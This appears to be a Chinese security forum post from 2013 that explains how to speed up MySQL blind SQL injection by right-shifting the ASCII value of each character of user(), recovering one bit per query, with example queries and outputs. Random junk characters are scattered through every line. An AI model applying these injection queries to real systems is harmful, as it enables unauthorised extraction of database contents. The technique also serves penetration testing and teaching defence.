找回密码
 立即注册
查看: 2865|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位2 @6 N! R, q9 ?; a; E9 q
/ G) n1 C* A  }1 b* J5 T
$ f  H' K' j  X! {+ d' N3 Z) y
$ t8 ~! o8 J( b, K* A! U3 q* N
下面将以查询mysql数据库当中user()的第一位为例:4 \' D7 Y5 B. S% y# s

& c! W0 n8 l, |& G( Z$ C  S
2 n6 ]: f5 f5 ]& t! g" g3 P0 H9 A, g" V1 g
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
  V2 p6 a$ P6 s1 s6 a7 x8 U8 j5 a
; h( _: N4 Q  B/ G9 m - ]9 P& w4 K, n
5 m8 S& u8 `4 a7 F, J
首先执行如下sql语句:
) @8 T. `4 j* V% C1 ?# H, j* K# A# @3 K& T( \. a4 A0 l/ w2 A

$ \. m1 t$ r+ Y4 Q5 I+ `/ {. D0 Y: T
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;; `6 |* ^( X$ c8 d4 G0 P
) K2 D$ M  I* ?5 S+ |

8 ]& G4 o: J/ f+ L6 Q2 g3 @% y9 T, c% b: r: |
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的! P/ E# E$ T& ^$ ?6 d; n7 w
$ ~4 w3 P8 {7 d. ]" |: l- N

3 u( ^( X3 i6 U' t/ f' F6 [
! Y9 U( @5 ?* q" W第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1. ~. _3 B0 e! k6 M
, {0 ~; ?9 n! y: X

) K* }7 N, U5 P. c$ C: G3 P9 E- ^: y' e9 v# E# D
如果运算结果为1,说明第一位为0,不为1
5 g0 @& p' @8 _' P9 F' A9 O- `+ u+ E# L* q2 I) _( `2 P

( y- b  u2 }! {" J% f# ?) B, e7 w, B2 U' p
+————————————–+& x0 h) ]& W/ i% O3 a. V
# ^) d+ F8 O& x
| (ascii((substr(user(),1,1))) >> 7)=0 |
% ~9 T* @, V5 `  @1 r: ?$ p- N9 w& ^, s9 ?( P" j/ s
+————————————–+
- F+ h4 u5 {, S& X& p; [, Q* _  F; \7 {
| 1 |
& O8 K! S9 M& `' j% S) ~
' q8 t* {% F7 `4 v! P+————————————–+
; u& n0 H- ]8 R' u" T, d- L+ Y
3 s- z, R. g; |/ V1 row in set (0.00 sec)
: A7 {+ p6 ~5 P' f, L+ h
" f, w6 D% G! I' k. s: t这样我们就确定这个8bit的ascii的第一位为0
9 P# q) [7 [; ~( u$ G+ `4 p5 e9 _. h5 q6 c6 O/ j5 I1 G9 e

! R' d2 l+ Y1 h* `# f* Z
9 W0 X+ C5 @. q, u第二次我们来做6次右偏移来确定前两位
( x7 q9 F" P& y% a& S, F4 L' U* s" L+ z2 b

% n' `% x7 k5 g8 x" |+ |. B" A+ [* W8 }# S' I  f
前两位可能是01或00,即依然可以与0做比较,# E! |4 t: t# F. `/ r

1 v, u2 j. [, Y' _mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
4 e: c. f* e( S5 m
5 o; d9 _( h& I, B; h. G+————————————–+
& h' A3 g; g+ z2 s! q+ C1 p- ?+ E+ y8 |+ ^2 a% W
| (ascii((substr(user(),1,1))) >> 6)=0 |
0 |- X8 d2 {( t1 p" \. A  q# w
, m7 y6 J; \# j# i( l+————————————–+
" G) q7 v1 ?: U5 H: h. m7 f# F; f0 E, ^& y
| 0 |
  K* c6 B8 w& g. I. \. A- [4 `6 Z0 W% c5 X7 o3 [! ^* J
+————————————–+8 }+ e: _% b" o  t! L

! c. \0 n. N+ h5 x4 _5 S1 row in set (0.00 sec)2 c3 R4 F& p8 j' s8 G. V, Y9 g4 G

: L1 r" ~, R6 S& P3 V% s5 J2 E! z
; c8 l2 ~4 D0 z7 _0 Q6 Z1 V$ d
0 ]8 b; k6 G$ C( j5 _# s0 L$ J结果为0,即第二位为1
0 W( X; A) `& e6 s3 U' S5 b0 B4 ?( b4 h/ ~7 p

, {4 P1 t- T+ _. Y
* z, v- h! m& i( o! s; n开始猜测前三位为010或011+ K: H( n' q2 N6 b7 b
' O3 `! Y9 C$ o+ a6 Z$ D. H
0 v  p9 e/ P7 z1 k
8 I) f3 ~+ m% X3 P
让我们看看010和011的ascii码是多少5 v# u0 C" B/ ?. q

4 r1 x' d) B& p
1 x, E+ ^( Q* l1 t  J& ?! C) Y
9 }. O+ f& Z  A- b' B. a分别查询select b’011′ select b’010′/ }$ C% G4 v. E9 m, v2 t1 D$ W

: u4 a" \% S; Q
* ]8 d# P  w7 V0 |$ ]
8 S8 A1 j7 Q  D: U% {/ d  o$ L获得结果 010 = 2 011 = 3
4 t0 V# ^" I. }8 j" ]5 L9 I) C# i6 i& c# b7 Q
& P4 i7 D. S0 K9 o& G
; @7 W6 x6 K, ?  D+ ~' ^2 \7 v2 S8 Q
执行如下sql:) ?' Y7 e2 u2 _5 [* f
' \: ^: V' A8 o4 x& W* G: `+ [
3 j: R9 h* C0 S( n) h* n# [
0 J0 n& i! ~0 v' F0 D9 a& A
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
/ y0 t  a7 _6 W% k. D* f: r+ V- B+ m6 N+ d4 S0 Y" c
+————————————–+. S! M3 ]5 m& W; [+ B

5 f/ t9 r% L/ d1 F3 \| (ascii((substr(user(),1,1))) >> 5)=2 |
+ D4 W4 Q* a1 U7 _& W9 N1 \
2 @" G5 i- t) p& @& o9 _+————————————–+  ^9 W8 e  x8 u) F3 w/ @( V0 g
" @: _- l0 \+ `* i; A' ~7 G. S
| 0 |
7 `3 b) H/ ]2 O6 B9 y7 V1 c0 R* y7 R! ]) _; A) Q  ]9 P
+————————————–+
: b7 G/ V5 |* O: K  A
1 ?, ]" c! q& g; h4 i即前三位不为010,而是0116 H# W7 O5 E, J  t7 V" k

/ p8 w) l' x3 h" i  f- [; I & Y6 \6 Q/ u8 V& p  p

( ^& U5 s2 p7 @! \直到获得最后一位( n# M% S* M# }1 S: ^* N

# [1 A5 U$ ~; q; J7 @
$ u5 i& A8 m' l5 B. P' N9 w- ?& X8 a8 S' q3 U: N. v
最终结果为:01110010
, k! i; J8 Q! g1 p- s  b! x& i1 O6 ]4 \; ?/ q0 P; D
4 E  i5 Q; D5 O. `
& T3 N/ H5 m- P3 J; R' X
转换一下:
* C! ^1 D4 l* i: y8 B3 M2 {& F' m3 u, Q- p  _2 D5 E" |/ b0 a

7 ~4 Y6 P3 w! j9 h7 z0 `( X/ l
+ F& i& w2 `- `+ w+ N2 Rselect b’01110010′
7 C% ~+ T5 [( `, X
. \0 W. j, W1 a+ g7 W * K- T  G& C, V7 b, z
2 d/ T+ [$ H+ r7 ?6 f5 F, ]
查询结果
. D: _1 m3 o. C3 i: p
. J' _& z# E, \& ?  W: l' } 9 b7 [; y3 ~7 D, q& F7 a
4 r2 Y$ F: K* J9 b2 R! d
+————-+7 Z1 I7 P% T% l( K4 m8 K
. y9 H# H* {8 v# D' d( @6 |/ J( O
| b’01110010′ |
6 E) |, R+ k4 |& i$ w5 F1 m) X( i& _! D" \9 I
+————-+
7 P! M, m6 B4 j: o. i' Q# f5 m
7 P; f# l" H/ a6 k/ J6 L| r |
) \# K: j- R1 A2 I! w
$ t0 I+ K6 h1 F+ ]9 m$ F+————-+/ \6 n# u: K% V( D. C

& p' u2 D' c8 X, C9 D7 d1 row in set (0.00 sec)
2 O1 z, M" j$ M- x. V8 r3 _" A+ [1 {* L! B; I8 s9 j
9 g: m6 J* h3 |

2 B: r% x% Y$ r2 b7 x) n这样我们就获得了user()的第一位.其它位依此类推
* h! ~6 g3 ]! r) M. M# O- j; }4 X) T& {, Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表